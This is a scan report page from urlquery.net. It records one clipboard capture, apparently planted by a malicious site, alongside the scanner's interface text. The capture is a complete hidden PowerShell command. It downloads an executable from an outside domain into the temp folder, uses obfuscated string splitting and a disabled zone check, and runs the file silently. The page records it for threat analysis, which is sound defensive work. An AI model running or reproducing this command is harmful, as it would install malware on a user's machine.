urlquery.net

Artifacts

Extracted files, shortcuts, Telegram observations, PDF documents, and clipboard content

Clipboard1

Clipboard observations

1
CLIPBOARD OBSERVATION

Clipboard observation #01

clipboard

259 captured bytes
powershell -NoP -w h -ep bypass -c "$b=New-Object UriBuilder('https','bapak178.org',443,'/07c733a1.exe');$f=$env:TEMP+'\u.exe';&('Invo'+'ke-Web'+'Request')($b.Uri) -OutFile $f -UseBasicParsing;$env:SEE_MASK_NOZONECHECKS=1;Start-Process $f -WindowStyle Hidden"
Loading evidence…
WORKSPACE SETTINGS

Display preferences

Saved on this device.

SuccessInfoWarningDangerCriticalUnknown

Security colors remain independent of your accent.

Go to…

Recent scans ↵ Search reports /Search hosts ↵

No matching commands.

Ctrl/⌘ K Commands · Esc Close

LOCAL DEMONSTRATION

Notifications

No live event connection.

No notifications yet. Preview an event below.

Full request body

Full screenshot

Full browser screenshot